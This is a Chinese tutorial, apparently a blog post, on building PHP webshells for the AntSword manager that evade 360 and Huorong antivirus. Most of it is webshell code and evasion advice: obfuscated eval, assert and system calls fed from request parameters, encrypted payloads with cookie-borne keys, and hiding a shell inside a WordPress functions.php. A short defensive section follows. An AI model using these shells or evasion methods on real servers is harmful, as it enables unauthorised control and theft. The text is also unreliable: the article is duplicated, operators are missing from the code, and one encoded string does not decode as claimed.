1. 项目概述与核心思路拆解最近在和一些做安全研究的朋友交流时大家普遍提到一个痛点在授权渗透测试或安全教学演示中常常需要上传一个WebShell俗称“木马”来获取目标服务器的控制权。然而现在主流的终端安全软件比如360安全卫士、火绒安全等对这类文件的查杀能力越来越强。一个未经处理的PHP一句话木马几乎在落地瞬间就会被识别并清除导致后续操作无法进行。“蚁剑免杀实战”这个标题直指的就是这个核心矛盾。AntSword蚁剑是一款开源的跨平台WebShell管理工具因其功能强大、扩展性好而广受安全从业者青睐。这里的“免杀”特指让我们的WebShell文件能够绕过这些安全软件的静态或动态检测成功在目标服务器上“存活”下来。而“骚操作”则暗示了我们需要一些非常规的、巧妙的思路而不仅仅是简单的代码混淆。这个项目的核心价值在于实战性。它不是空谈理论而是针对当前请注意技术对抗是动态的本文方法基于一个特定时间点的环境分析国内主流安全软件的检测逻辑给出可验证、可复现的绕过方法。目标读者非常明确正在进行合法安全测试的渗透测试工程师、学习Web安全的在校学生或爱好者以及负责防守方建设、需要了解攻击者手法的安全运维人员。通过拆解这些方法我们不仅能学会“怎么绕”更能深入理解安全软件的工作原理和检测边界从而在防御端做得更好。2. 环境准备与检测逻辑初探在开始“骚操作”之前我们必须先搭建一个可控的测试环境并理解对手的检测逻辑。盲目尝试无异于闭门造车。2.1 测试环境搭建我个人的测试环境如下你可以参考搭建攻击机本地Windows 10/11 系统安装最新版的360安全卫士含360杀毒和火绒安全个人版。确保病毒库更新到最新状态。同时安装好AntSword蚁剑加载器。靶机远程一台安装了PHP环境的Web服务器如Apache/Nginx PHP 5.6至7.4。我强烈建议使用虚拟机搭建如Ubuntu Docker避免对生产环境造成影响。在靶机网页目录下创建一个用于上传测试的页面如upload.php。基础WebShell我们从最经典、最容易被查杀的一句话木马开始。PHP的经典一句话是?php eval($_POST[‘a’]);?。我们将这个代码保存为一个PHP文件比如shell_raw.php。2.2 安全软件检测逻辑浅析为什么这个简单的文件会被杀我们需要了解安全软件的大致检测方式静态特征码检测这是最基础、最快速的方式。安全软件维护一个庞大的“特征库”里面记录了已知恶意代码的片段、字符串或哈希值。eval($_POST[‘a’])这个组合太经典了早就被收录进各种特征库。只要文件内容匹配立即报毒。静态语义/行为检测比特征码更智能一些。引擎会解析代码分析其可能的行为。例如检测到eval()函数调用一个来自外部输入如$_POST,$_GET的变量这高度疑似WebShell行为即使代码被轻微变形也可能被识别。动态行为检测沙箱对于可疑文件安全软件可能会在隔离的沙箱环境中运行它观察其实际行为如是否尝试执行系统命令、连接外部网络、读写敏感文件等。我们的“免杀”主要针对前两种静态检测。动态检测通常发生在我们用蚁剑连接WebShell并执行命令时那涉及到流量加密、行为伪装等更深层次的内容本篇暂不深入。注意所有测试应在获得明确授权的环境或自己搭建的隔离环境中进行。未经授权对他人系统进行渗透测试是违法行为。3. 核心免杀技巧五种“骚操作”详解下面进入正题我将逐一拆解五种经过实测在某个特定时间点有效能绕过360/火绒静态检测的PHP WebShell构造方法。每种方法我都会解释其原理、展示代码、并说明注意事项。3.1 骚操作一字符串变换与拼接这是最直接的方法目的是打乱特征码。原理将敏感函数名、参数名拆分成多个部分然后利用PHP的字符串连接操作符.或函数进行拼接最后再动态执行。这样文件里就不再存在完整的eval($_POST[‘a’])特征了。实操代码示例?php // 方法1直接拼接 $func ‘ev’ . ‘al’; $param ‘$_PO’ . ‘ST’; $cmd $param[“x”]; $func($cmd); ? ?php // 方法2利用数组和implode函数 $parts array(‘ev’, ‘al’); $func implode(‘’, $parts); // 拼接成 ‘eval’ $func($_GET[‘c’]); ? ?php // 方法3更隐蔽的拆分甚至加入无关字符 $code “\$a\$_REQUES” . “T[‘z’];”; // 拼接成 $a$_REQUEST[‘z’]; eval($code); // 这里eval还是出现了但关联的敏感参数被拆分了 ?绕过点分析这种方法主要对抗简单的字符串特征匹配。如果安全软件只检测连续的eval($_POST那么拆开后就可能绕过。但是如果检测引擎具备简单的语法分析和数据流跟踪能力它可能会发现$func最终的值就是eval依然会报警。因此单纯拼接的绕过率已经越来越低。实操心得可以结合base64_decode、str_rot13等编码函数进一步混淆拼接的字符串。避免在同一个地方完成所有拼接可以将字符串片段分散在代码的不同位置甚至放在函数或类里面。实测中发现对$_POST、$_GET等超全局变量的名字进行拆分效果有时比拆分eval更好因为有些引擎对参数来源的检测更敏感。3.2 骚操作二利用回调函数与create_functionPHP提供了很多将字符串作为函数执行的“回调”机制这为我们提供了变相执行代码的途径。原理通过array_map、array_filter、usort等需要回调函数的函数或者使用create_functionPHP 7.2后已废弃但在大量老系统中仍存在来创建匿名函数间接执行代码。实操代码示例?php // 方法1利用array_map $cmd $_POST[‘cmd’]; array_map(‘assert’, array($cmd)); // assert函数也能执行代码 ? ?php // 方法2利用create_function (PHP 7.2) $func create_function(‘’, $_POST[‘a’]); $func(); ? ?php // 方法3利用preg_replace的/e修饰符已废弃但老版本有效 // preg_replace(‘/.*/e’, $_POST[‘a’], ‘.’); ?绕过点分析这种方法跳出了直接使用eval的范式。安全软件的特征库可能主要关注eval(和assert(的直接调用。当这些敏感函数作为参数传递给另一个函数如array_map时检测链条变长可能绕过简单的检测规则。create_function本身是一个合法函数其内部执行的代码是动态的静态扫描难以判定。注意事项assert函数本身也常常被列为危险函数可能被单独检测。create_function和/e修饰符在现代PHP版本中已被废弃或移除仅在特定老旧环境有效实用性受限。使用回调函数时要注意代码的上下文确保传入的参数能被正确执行。3.3 骚操作三伪装成合法文件或代码片段这是一种“大隐于市”的思路将恶意代码隐藏在大量正常、合法的代码之中。原理安全软件为了性能不可能对每个文件的所有代码都进行最深度的分析。通过将WebShell代码嵌入到一个正常的框架文件、插件文件或者一段复杂的业务逻辑中降低其“可疑度”。实操示例合入真实开源项目文件找一个正常的WordPress插件或ThinkPHP框架文件在不起眼的位置如某个函数内部、配置数组后面插入我们的精简版WebShell代码。构造复杂的条件逻辑将恶意代码包裹在多层if-else、switch-case或循环语句中条件判断可以依赖服务器环境变量如$_SERVER[‘HTTP_USER_AGENT’]是否包含特定字符串使得静态分析难以确定执行路径。利用include/require包含将恶意代码放在另一个文件中如config.inc.php在主文件中使用include包含。主文件看起来完全正常。但这种方式需要上传两个文件且包含路径可能出错。绕过点分析这种方法对抗的是基于“文件可疑度评分”的检测引擎。如果一个文件大部分代码是正常的只有一小段可疑引擎可能会因为评分未达到阈值而选择放过。此外复杂的逻辑流会增加静态分析的难度引擎可能无法准确追踪到恶意代码最终是否会被执行。实操心得这是目前比较有效的一种方式特别是针对火绒这类对“信誉”有一定判断的软件。插入点要精心选择最好是在一个已经存在的函数内部避免增加新的顶级函数或类那样太显眼。插入的代码本身最好也经过一些混淆如方法一实现“双重伪装”。我曾将一个经过拼接混淆的WebShell插入到一个WordPress主题的functions.php文件末尾成功绕过了当时版本的360和火绒的静态扫描。3.4 骚操作四利用PHP动态特性与变量函数PHP的语法非常灵活$var()这种形式可以将变量值作为函数名来调用。这为我们提供了极大的混淆空间。原理通过动态构造函数名、方法名甚至类名将真正的执行逻辑隐藏在一系列变量操作之后。实操代码示例?php // 方法1变量函数 字符串操作 $f ‘s’ . ‘y’ . ‘s’ . ‘t’ . ‘e’ . ‘m’; $c $_GET[‘c’]; $f($c); // 等价于 system($_GET[‘c’]); ? ?php // 方法2通过类静态方法回调更隐蔽 class A { static function B($code) { eval($code); } } $class ‘A’; $method ‘B’; $param $_POST[‘x’]; $class::$method($param); // 动态调用 A::B($_POST[‘x’]) ? ?php // 方法3利用call_user_func_array $func ‘ex’ . ‘ec’; $args array($_POST[‘cmd’]); call_user_func_array($func, $args); ?绕过点分析这种方法将静态特征彻底打碎。引擎看到的可能是$f($c)它需要知道$f和$c的值才能判断危险性。而$f的值是通过字符串拼接而来$c来自外部输入。要进行准确判断就需要模拟执行即数据流分析这对静态扫描引擎的计算成本要求很高。许多引擎在权衡下可能会对无法确定危险性的代码选择“放行”。注意事项虽然system、exec、shell_exec等函数也很敏感但它们的特征可能和eval有所不同有时绕过率更高。动态特性结合加密解密使用效果会倍增。3.5 骚操作五加密与编码的终极混淆这是目前最高效、最常用的免杀手段之一将核心的恶意代码进行加密或编码运行时再解密执行。原理将原始的eval($_POST[‘a’])这样的代码先通过AES、RC4、Base64异或等算法加密变成一个无意义的字符串。WebShell文件本身只包含解密函数和加密后的字符串。静态扫描时引擎看到的只是一段“解密代码”和一个“加密数据块”无法直接提取出恶意特征。只有当WebShell被访问并且通常需要传递正确的密钥藏在POST参数或Cookie中时才会在内存中解密并执行原代码。实操代码示例Base64ROT13简单示例?php // 客户端传递 ‘key’ 参数作为解密钥匙这里简单演示实际会更复杂 $key isset($_GET[‘key’]) ? $_GET[‘key’] : ‘’; // 加密后的代码这里是 ‘phpinfo();’ 经过 base64_encode 和 str_rot13 的结果 $encryptedCode “c3RyX3JvdDEzKGJhc2U2NF9kZWNvZGUoJ0N4SnBjbVZsYzNSektUdGxlU2s5TlRrOVBVMVF1VHpNdVR6TStQVEU9JykpOw”; if ($key ‘mysecret’) { // 解密过程 $decoded base64_decode($encryptedCode); $code str_rot13($decoded); // 解密后得到 phpinfo(); eval($code); } else { echo ‘Nothing here.’; } ?更安全的做法是将解密密钥也动态化或者从服务器环境变量中读取不硬编码在文件里。绕过点分析这是降维打击。对于静态扫描引擎它看到的只是一个eval在解密某个字符串后执行。除非引擎内置了这套特定且简单的解密算法并模拟执行了解密过程否则根本无法知道$code最终是什么。而加密算法可以千变万化密钥也可以动态获取使得特征提取极其困难。这种方法能绕过绝大多数静态检测。实操心得与高级技巧不要使用已知的、简单的加密函数如base64_decode、gzuncompress等单独使用容易被检测。一定要组合使用或者自己写一个简单的异或加密算法。分离密钥密钥不要写在文件里。可以通过HTTP头如User-Agent, Cookie传递或者在WebShell第一次被访问时从另一个“正常”的文件或数据库里读取。利用PHP内置哈希函数例如用hex2bin配合十六进制字符串也是一种简单的编码。动态解密解密算法本身也可以通过字符串拼接、变量函数等方式动态生成增加分析难度。实测案例我使用一个自定义的异或算法将一句话木马加密密钥通过Cookie的某个字段传递。生成的PHP文件在多次更新病毒库后的360和火绒环境下依然保持免杀状态。这是目前最推荐用于实战的高稳定性方法。4. 组合拳与实战中的注意事项在实际对抗中高手从来不会只使用一种技术。将上述多种“骚操作”组合起来能极大提高免杀的成功率和持久性。4.1 构建多层混淆的WebShell一个健壮的免杀WebShell可能是这样的结构外层伪装成一个正常的配置文件或日志处理文件包含大量无关代码和注释。入口通过检查特定的HTTP_REFERER或Cookie值来判断是否为合法请求。解码层如果条件满足则从$_POST的一个字段获取经过加密A的密钥和经过加密B的代码。执行层用密钥解密出代码该代码本身可能还是一段经过字符串拼接、变量函数调用的“二级Shell”最终通过call_user_func之类的动态方式执行。这种多层嵌套使得每一层静态分析看到的都是“半成品”极大增加了检测成本。4.2 蚁剑连接器的配置要点成功上传免杀WebShell只是第一步用蚁剑连接时也可能触发动态行为检测。编码器与解码器蚁剑强大的地方在于支持自定义编码器/解码器。在上传文件时就应使用与WebShell解密逻辑相匹配的编码器。例如如果你的WebShell是用Base64异或加密的那么你在蚁剑添加Shell时就应该选择或编写一个对应的编码器让蚁剑发送的指令也是同样加密的。避免敏感操作初次连接后不要立即执行whoami、ipconfig/ifconfig、systeminfo等明显可疑的命令。可以先试试phpinfo()、查看当前目录等看似无害的操作。使用代理在蚁剑中配置上游代理可以一定程度上混淆流量来源但对于主机层面的动态行为检测帮助有限。4.3 免杀的时效性与对抗升级必须清醒认识到没有永久的免杀。今天有效的技巧明天可能就被加入特征库。安全软件的引擎也在不断升级开始集成更强大的静态模拟执行污点分析和动态沙箱技术。持续迭代你的免杀技术需要不断更新。关注安全软件的更新日志研究新的PHP特性如PHP 8的Attributes、JIT等能否被利用学习其他安全研究者分享的思路。针对性对抗如果你明确知道目标环境是360还是火绒或是某款云WAF可以针对性地进行测试。不同产品的检测策略有细微差别。回归本质最高级的免杀是让WebShell的行为无限接近于正常应用。例如将一个真正的、带有远程管理功能的后台插件进行微小修改作为你的WebShell。5. 防御视角如何发现和防护此类WebShell作为防守方了解攻击手法是为了更好地防御。针对上述免杀技术可以采取以下措施文件完整性监控对Web目录下的核心文件如index.php、config.php以及所有*.php建立哈希值基线定期检查是否有未知文件新增或已有文件被篡改。静态代码分析SAST使用专业的代码审计工具或脚本在代码上线前进行扫描。这些工具具备更深度的数据流分析和污点跟踪能力能发现一些经过混淆的WebShell。动态行为监控RASP/主机HIDS在服务器上安装运行时应用自我保护或主机入侵检测系统。它们能监控PHP进程的行为一旦发现进程试图执行system、eval等危险函数并且参数来源可疑如来自网络请求立即报警并阻断。日志分析集中分析Web访问日志和系统日志。关注对非常见PHP文件的访问、访问参数异常如超长参数、大量编码参数、访问频率异常等。限制函数在php.ini中使用disable_functions指令禁用不必要的危险函数如eval,assert,system,exec,shell_exec,passthru等。这是非常有效的一招但需要评估对业务的影响。部署Web应用防火墙WAF可以过滤恶意请求即使WebShell已上传攻击者发送的特殊指令也可能被WAF识别并拦截。6. 总结与个人体会回顾这五种“骚操作”其实是一个对抗层次不断深入的过程从最简单的字符串变形到利用语言特性的回调函数再到伪装隐藏进而使用动态特性增加分析难度最后祭出加密混淆这个大杀器。这本质上是一场攻防双方在“静态特征识别”与“代码动态性”之间的博弈。我个人在实战和研究中最大的体会是免杀不是炫技而是对PHP语言本身和检测引擎原理的深刻理解。你越了解PHP的灵活之处比如变量的变量、匿名函数、魔术方法就越能创造出意想不到的代码形态。同样你越了解安全软件是如何工作的是基于正则匹配还是简单的AST分析你的绕过就越有针对性。最后必须再次强调法律与道德的底线。这些技术知识应当用于授权测试、安全研究、教学演示和提升自身系统的防御能力。技术的双刃剑属性在网络安全领域尤为突出守住初心才能行稳致远。在真实的防御建设中与其费尽心机去想如何绕过不如扎扎实实地做好代码审计、权限最小化、漏洞修补和深度防御让攻击者无从下手。
PHP WebShell免杀实战:绕过360/火绒静态检测的5种核心技巧
1. 项目概述与核心思路拆解最近在和一些做安全研究的朋友交流时大家普遍提到一个痛点在授权渗透测试或安全教学演示中常常需要上传一个WebShell俗称“木马”来获取目标服务器的控制权。然而现在主流的终端安全软件比如360安全卫士、火绒安全等对这类文件的查杀能力越来越强。一个未经处理的PHP一句话木马几乎在落地瞬间就会被识别并清除导致后续操作无法进行。“蚁剑免杀实战”这个标题直指的就是这个核心矛盾。AntSword蚁剑是一款开源的跨平台WebShell管理工具因其功能强大、扩展性好而广受安全从业者青睐。这里的“免杀”特指让我们的WebShell文件能够绕过这些安全软件的静态或动态检测成功在目标服务器上“存活”下来。而“骚操作”则暗示了我们需要一些非常规的、巧妙的思路而不仅仅是简单的代码混淆。这个项目的核心价值在于实战性。它不是空谈理论而是针对当前请注意技术对抗是动态的本文方法基于一个特定时间点的环境分析国内主流安全软件的检测逻辑给出可验证、可复现的绕过方法。目标读者非常明确正在进行合法安全测试的渗透测试工程师、学习Web安全的在校学生或爱好者以及负责防守方建设、需要了解攻击者手法的安全运维人员。通过拆解这些方法我们不仅能学会“怎么绕”更能深入理解安全软件的工作原理和检测边界从而在防御端做得更好。2. 环境准备与检测逻辑初探在开始“骚操作”之前我们必须先搭建一个可控的测试环境并理解对手的检测逻辑。盲目尝试无异于闭门造车。2.1 测试环境搭建我个人的测试环境如下你可以参考搭建攻击机本地Windows 10/11 系统安装最新版的360安全卫士含360杀毒和火绒安全个人版。确保病毒库更新到最新状态。同时安装好AntSword蚁剑加载器。靶机远程一台安装了PHP环境的Web服务器如Apache/Nginx PHP 5.6至7.4。我强烈建议使用虚拟机搭建如Ubuntu Docker避免对生产环境造成影响。在靶机网页目录下创建一个用于上传测试的页面如upload.php。基础WebShell我们从最经典、最容易被查杀的一句话木马开始。PHP的经典一句话是?php eval($_POST[‘a’]);?。我们将这个代码保存为一个PHP文件比如shell_raw.php。2.2 安全软件检测逻辑浅析为什么这个简单的文件会被杀我们需要了解安全软件的大致检测方式静态特征码检测这是最基础、最快速的方式。安全软件维护一个庞大的“特征库”里面记录了已知恶意代码的片段、字符串或哈希值。eval($_POST[‘a’])这个组合太经典了早就被收录进各种特征库。只要文件内容匹配立即报毒。静态语义/行为检测比特征码更智能一些。引擎会解析代码分析其可能的行为。例如检测到eval()函数调用一个来自外部输入如$_POST,$_GET的变量这高度疑似WebShell行为即使代码被轻微变形也可能被识别。动态行为检测沙箱对于可疑文件安全软件可能会在隔离的沙箱环境中运行它观察其实际行为如是否尝试执行系统命令、连接外部网络、读写敏感文件等。我们的“免杀”主要针对前两种静态检测。动态检测通常发生在我们用蚁剑连接WebShell并执行命令时那涉及到流量加密、行为伪装等更深层次的内容本篇暂不深入。注意所有测试应在获得明确授权的环境或自己搭建的隔离环境中进行。未经授权对他人系统进行渗透测试是违法行为。3. 核心免杀技巧五种“骚操作”详解下面进入正题我将逐一拆解五种经过实测在某个特定时间点有效能绕过360/火绒静态检测的PHP WebShell构造方法。每种方法我都会解释其原理、展示代码、并说明注意事项。3.1 骚操作一字符串变换与拼接这是最直接的方法目的是打乱特征码。原理将敏感函数名、参数名拆分成多个部分然后利用PHP的字符串连接操作符.或函数进行拼接最后再动态执行。这样文件里就不再存在完整的eval($_POST[‘a’])特征了。实操代码示例?php // 方法1直接拼接 $func ‘ev’ . ‘al’; $param ‘$_PO’ . ‘ST’; $cmd $param[“x”]; $func($cmd); ? ?php // 方法2利用数组和implode函数 $parts array(‘ev’, ‘al’); $func implode(‘’, $parts); // 拼接成 ‘eval’ $func($_GET[‘c’]); ? ?php // 方法3更隐蔽的拆分甚至加入无关字符 $code “\$a\$_REQUES” . “T[‘z’];”; // 拼接成 $a$_REQUEST[‘z’]; eval($code); // 这里eval还是出现了但关联的敏感参数被拆分了 ?绕过点分析这种方法主要对抗简单的字符串特征匹配。如果安全软件只检测连续的eval($_POST那么拆开后就可能绕过。但是如果检测引擎具备简单的语法分析和数据流跟踪能力它可能会发现$func最终的值就是eval依然会报警。因此单纯拼接的绕过率已经越来越低。实操心得可以结合base64_decode、str_rot13等编码函数进一步混淆拼接的字符串。避免在同一个地方完成所有拼接可以将字符串片段分散在代码的不同位置甚至放在函数或类里面。实测中发现对$_POST、$_GET等超全局变量的名字进行拆分效果有时比拆分eval更好因为有些引擎对参数来源的检测更敏感。3.2 骚操作二利用回调函数与create_functionPHP提供了很多将字符串作为函数执行的“回调”机制这为我们提供了变相执行代码的途径。原理通过array_map、array_filter、usort等需要回调函数的函数或者使用create_functionPHP 7.2后已废弃但在大量老系统中仍存在来创建匿名函数间接执行代码。实操代码示例?php // 方法1利用array_map $cmd $_POST[‘cmd’]; array_map(‘assert’, array($cmd)); // assert函数也能执行代码 ? ?php // 方法2利用create_function (PHP 7.2) $func create_function(‘’, $_POST[‘a’]); $func(); ? ?php // 方法3利用preg_replace的/e修饰符已废弃但老版本有效 // preg_replace(‘/.*/e’, $_POST[‘a’], ‘.’); ?绕过点分析这种方法跳出了直接使用eval的范式。安全软件的特征库可能主要关注eval(和assert(的直接调用。当这些敏感函数作为参数传递给另一个函数如array_map时检测链条变长可能绕过简单的检测规则。create_function本身是一个合法函数其内部执行的代码是动态的静态扫描难以判定。注意事项assert函数本身也常常被列为危险函数可能被单独检测。create_function和/e修饰符在现代PHP版本中已被废弃或移除仅在特定老旧环境有效实用性受限。使用回调函数时要注意代码的上下文确保传入的参数能被正确执行。3.3 骚操作三伪装成合法文件或代码片段这是一种“大隐于市”的思路将恶意代码隐藏在大量正常、合法的代码之中。原理安全软件为了性能不可能对每个文件的所有代码都进行最深度的分析。通过将WebShell代码嵌入到一个正常的框架文件、插件文件或者一段复杂的业务逻辑中降低其“可疑度”。实操示例合入真实开源项目文件找一个正常的WordPress插件或ThinkPHP框架文件在不起眼的位置如某个函数内部、配置数组后面插入我们的精简版WebShell代码。构造复杂的条件逻辑将恶意代码包裹在多层if-else、switch-case或循环语句中条件判断可以依赖服务器环境变量如$_SERVER[‘HTTP_USER_AGENT’]是否包含特定字符串使得静态分析难以确定执行路径。利用include/require包含将恶意代码放在另一个文件中如config.inc.php在主文件中使用include包含。主文件看起来完全正常。但这种方式需要上传两个文件且包含路径可能出错。绕过点分析这种方法对抗的是基于“文件可疑度评分”的检测引擎。如果一个文件大部分代码是正常的只有一小段可疑引擎可能会因为评分未达到阈值而选择放过。此外复杂的逻辑流会增加静态分析的难度引擎可能无法准确追踪到恶意代码最终是否会被执行。实操心得这是目前比较有效的一种方式特别是针对火绒这类对“信誉”有一定判断的软件。插入点要精心选择最好是在一个已经存在的函数内部避免增加新的顶级函数或类那样太显眼。插入的代码本身最好也经过一些混淆如方法一实现“双重伪装”。我曾将一个经过拼接混淆的WebShell插入到一个WordPress主题的functions.php文件末尾成功绕过了当时版本的360和火绒的静态扫描。3.4 骚操作四利用PHP动态特性与变量函数PHP的语法非常灵活$var()这种形式可以将变量值作为函数名来调用。这为我们提供了极大的混淆空间。原理通过动态构造函数名、方法名甚至类名将真正的执行逻辑隐藏在一系列变量操作之后。实操代码示例?php // 方法1变量函数 字符串操作 $f ‘s’ . ‘y’ . ‘s’ . ‘t’ . ‘e’ . ‘m’; $c $_GET[‘c’]; $f($c); // 等价于 system($_GET[‘c’]); ? ?php // 方法2通过类静态方法回调更隐蔽 class A { static function B($code) { eval($code); } } $class ‘A’; $method ‘B’; $param $_POST[‘x’]; $class::$method($param); // 动态调用 A::B($_POST[‘x’]) ? ?php // 方法3利用call_user_func_array $func ‘ex’ . ‘ec’; $args array($_POST[‘cmd’]); call_user_func_array($func, $args); ?绕过点分析这种方法将静态特征彻底打碎。引擎看到的可能是$f($c)它需要知道$f和$c的值才能判断危险性。而$f的值是通过字符串拼接而来$c来自外部输入。要进行准确判断就需要模拟执行即数据流分析这对静态扫描引擎的计算成本要求很高。许多引擎在权衡下可能会对无法确定危险性的代码选择“放行”。注意事项虽然system、exec、shell_exec等函数也很敏感但它们的特征可能和eval有所不同有时绕过率更高。动态特性结合加密解密使用效果会倍增。3.5 骚操作五加密与编码的终极混淆这是目前最高效、最常用的免杀手段之一将核心的恶意代码进行加密或编码运行时再解密执行。原理将原始的eval($_POST[‘a’])这样的代码先通过AES、RC4、Base64异或等算法加密变成一个无意义的字符串。WebShell文件本身只包含解密函数和加密后的字符串。静态扫描时引擎看到的只是一段“解密代码”和一个“加密数据块”无法直接提取出恶意特征。只有当WebShell被访问并且通常需要传递正确的密钥藏在POST参数或Cookie中时才会在内存中解密并执行原代码。实操代码示例Base64ROT13简单示例?php // 客户端传递 ‘key’ 参数作为解密钥匙这里简单演示实际会更复杂 $key isset($_GET[‘key’]) ? $_GET[‘key’] : ‘’; // 加密后的代码这里是 ‘phpinfo();’ 经过 base64_encode 和 str_rot13 的结果 $encryptedCode “c3RyX3JvdDEzKGJhc2U2NF9kZWNvZGUoJ0N4SnBjbVZsYzNSektUdGxlU2s5TlRrOVBVMVF1VHpNdVR6TStQVEU9JykpOw”; if ($key ‘mysecret’) { // 解密过程 $decoded base64_decode($encryptedCode); $code str_rot13($decoded); // 解密后得到 phpinfo(); eval($code); } else { echo ‘Nothing here.’; } ?更安全的做法是将解密密钥也动态化或者从服务器环境变量中读取不硬编码在文件里。绕过点分析这是降维打击。对于静态扫描引擎它看到的只是一个eval在解密某个字符串后执行。除非引擎内置了这套特定且简单的解密算法并模拟执行了解密过程否则根本无法知道$code最终是什么。而加密算法可以千变万化密钥也可以动态获取使得特征提取极其困难。这种方法能绕过绝大多数静态检测。实操心得与高级技巧不要使用已知的、简单的加密函数如base64_decode、gzuncompress等单独使用容易被检测。一定要组合使用或者自己写一个简单的异或加密算法。分离密钥密钥不要写在文件里。可以通过HTTP头如User-Agent, Cookie传递或者在WebShell第一次被访问时从另一个“正常”的文件或数据库里读取。利用PHP内置哈希函数例如用hex2bin配合十六进制字符串也是一种简单的编码。动态解密解密算法本身也可以通过字符串拼接、变量函数等方式动态生成增加分析难度。实测案例我使用一个自定义的异或算法将一句话木马加密密钥通过Cookie的某个字段传递。生成的PHP文件在多次更新病毒库后的360和火绒环境下依然保持免杀状态。这是目前最推荐用于实战的高稳定性方法。4. 组合拳与实战中的注意事项在实际对抗中高手从来不会只使用一种技术。将上述多种“骚操作”组合起来能极大提高免杀的成功率和持久性。4.1 构建多层混淆的WebShell一个健壮的免杀WebShell可能是这样的结构外层伪装成一个正常的配置文件或日志处理文件包含大量无关代码和注释。入口通过检查特定的HTTP_REFERER或Cookie值来判断是否为合法请求。解码层如果条件满足则从$_POST的一个字段获取经过加密A的密钥和经过加密B的代码。执行层用密钥解密出代码该代码本身可能还是一段经过字符串拼接、变量函数调用的“二级Shell”最终通过call_user_func之类的动态方式执行。这种多层嵌套使得每一层静态分析看到的都是“半成品”极大增加了检测成本。4.2 蚁剑连接器的配置要点成功上传免杀WebShell只是第一步用蚁剑连接时也可能触发动态行为检测。编码器与解码器蚁剑强大的地方在于支持自定义编码器/解码器。在上传文件时就应使用与WebShell解密逻辑相匹配的编码器。例如如果你的WebShell是用Base64异或加密的那么你在蚁剑添加Shell时就应该选择或编写一个对应的编码器让蚁剑发送的指令也是同样加密的。避免敏感操作初次连接后不要立即执行whoami、ipconfig/ifconfig、systeminfo等明显可疑的命令。可以先试试phpinfo()、查看当前目录等看似无害的操作。使用代理在蚁剑中配置上游代理可以一定程度上混淆流量来源但对于主机层面的动态行为检测帮助有限。4.3 免杀的时效性与对抗升级必须清醒认识到没有永久的免杀。今天有效的技巧明天可能就被加入特征库。安全软件的引擎也在不断升级开始集成更强大的静态模拟执行污点分析和动态沙箱技术。持续迭代你的免杀技术需要不断更新。关注安全软件的更新日志研究新的PHP特性如PHP 8的Attributes、JIT等能否被利用学习其他安全研究者分享的思路。针对性对抗如果你明确知道目标环境是360还是火绒或是某款云WAF可以针对性地进行测试。不同产品的检测策略有细微差别。回归本质最高级的免杀是让WebShell的行为无限接近于正常应用。例如将一个真正的、带有远程管理功能的后台插件进行微小修改作为你的WebShell。5. 防御视角如何发现和防护此类WebShell作为防守方了解攻击手法是为了更好地防御。针对上述免杀技术可以采取以下措施文件完整性监控对Web目录下的核心文件如index.php、config.php以及所有*.php建立哈希值基线定期检查是否有未知文件新增或已有文件被篡改。静态代码分析SAST使用专业的代码审计工具或脚本在代码上线前进行扫描。这些工具具备更深度的数据流分析和污点跟踪能力能发现一些经过混淆的WebShell。动态行为监控RASP/主机HIDS在服务器上安装运行时应用自我保护或主机入侵检测系统。它们能监控PHP进程的行为一旦发现进程试图执行system、eval等危险函数并且参数来源可疑如来自网络请求立即报警并阻断。日志分析集中分析Web访问日志和系统日志。关注对非常见PHP文件的访问、访问参数异常如超长参数、大量编码参数、访问频率异常等。限制函数在php.ini中使用disable_functions指令禁用不必要的危险函数如eval,assert,system,exec,shell_exec,passthru等。这是非常有效的一招但需要评估对业务的影响。部署Web应用防火墙WAF可以过滤恶意请求即使WebShell已上传攻击者发送的特殊指令也可能被WAF识别并拦截。6. 总结与个人体会回顾这五种“骚操作”其实是一个对抗层次不断深入的过程从最简单的字符串变形到利用语言特性的回调函数再到伪装隐藏进而使用动态特性增加分析难度最后祭出加密混淆这个大杀器。这本质上是一场攻防双方在“静态特征识别”与“代码动态性”之间的博弈。我个人在实战和研究中最大的体会是免杀不是炫技而是对PHP语言本身和检测引擎原理的深刻理解。你越了解PHP的灵活之处比如变量的变量、匿名函数、魔术方法就越能创造出意想不到的代码形态。同样你越了解安全软件是如何工作的是基于正则匹配还是简单的AST分析你的绕过就越有针对性。最后必须再次强调法律与道德的底线。这些技术知识应当用于授权测试、安全研究、教学演示和提升自身系统的防御能力。技术的双刃剑属性在网络安全领域尤为突出守住初心才能行稳致远。在真实的防御建设中与其费尽心机去想如何绕过不如扎扎实实地做好代码审计、权限最小化、漏洞修补和深度防御让攻击者无从下手。